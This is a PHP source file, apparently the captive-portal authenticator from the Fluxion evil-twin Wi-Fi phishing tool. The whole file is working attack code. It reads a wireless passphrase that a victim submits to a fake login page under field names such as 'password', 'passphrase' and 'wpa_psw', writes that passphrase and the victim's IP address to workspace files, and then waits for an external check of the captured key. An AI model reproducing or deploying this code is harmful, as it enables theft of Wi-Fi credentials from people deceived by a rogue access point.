68 lines
1.9 KiB
PHP
68 lines
1.9 KiB
PHP
<?php
|
|
error_reporting(0);
|
|
|
|
/*
|
|
The following represents the authenticator result.
|
|
By default, we assume the password is incorrect.
|
|
|
|
Notice: This variable is used by files including
|
|
this script, and by the authenticator itself below.
|
|
*/
|
|
$candidate_code = 0;
|
|
|
|
// Receive get & post data and store to variables
|
|
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
|
|
$matches = array_intersect_key($_POST, array_flip($candidateKeyFields));
|
|
|
|
// Retrieve just the first matched value
|
|
$key = reset($matches);
|
|
|
|
// No password was given
|
|
if(empty($key)) return;
|
|
|
|
// Update hit attempts
|
|
$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
|
|
$page_hits = file($page_hits_log_path)[0] + 1;
|
|
$page_hits_log = fopen($page_hits_log_path, "w");
|
|
fputs($page_hits_log, $page_hits);
|
|
fclose($page_hits_log);
|
|
|
|
// Prepare candidate and attempt passwords files' locations.
|
|
$attempt_log_path = "$FLUXIONWorkspacePath/pwdattempt.txt";
|
|
$candidate_path = "$FLUXIONWorkspacePath/candidate.txt";
|
|
|
|
$attempt_log = fopen($attempt_log_path, "w");
|
|
fwrite($attempt_log, $key);
|
|
fwrite($attempt_log, "\n");
|
|
fclose($attempt_log);
|
|
|
|
// Write candidate key to file to prep for checking.
|
|
$candidate = fopen($candidate_path, "w");
|
|
fwrite($candidate, $key);
|
|
fwrite($candidate, "\n");
|
|
fclose($candidate);
|
|
|
|
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
|
|
|
|
// Define variables
|
|
$client_ip_path = "/tmp/fluxspace/ip_hits";
|
|
$client_ip = $_SERVER['REMOTE_ADDR'];
|
|
|
|
// Write ip to file
|
|
$c = fopen($client_ip_path, "w");
|
|
fwrite($c,$client_ip);
|
|
fclose($c);
|
|
|
|
// Create candidate result file to trigger checking.
|
|
$candidate_result = fopen($candidate_result_path, "w");
|
|
fwrite($candidate_result,"\n");
|
|
fclose($candidate_result);
|
|
|
|
do {
|
|
sleep(1);
|
|
$candidate_code = trim(file_get_contents($candidate_result_path));
|
|
} while (!ctype_digit($candidate_code));
|
|
|
|
// Reset file by deleting it.
|
|
unlink($candidate_result_path);
|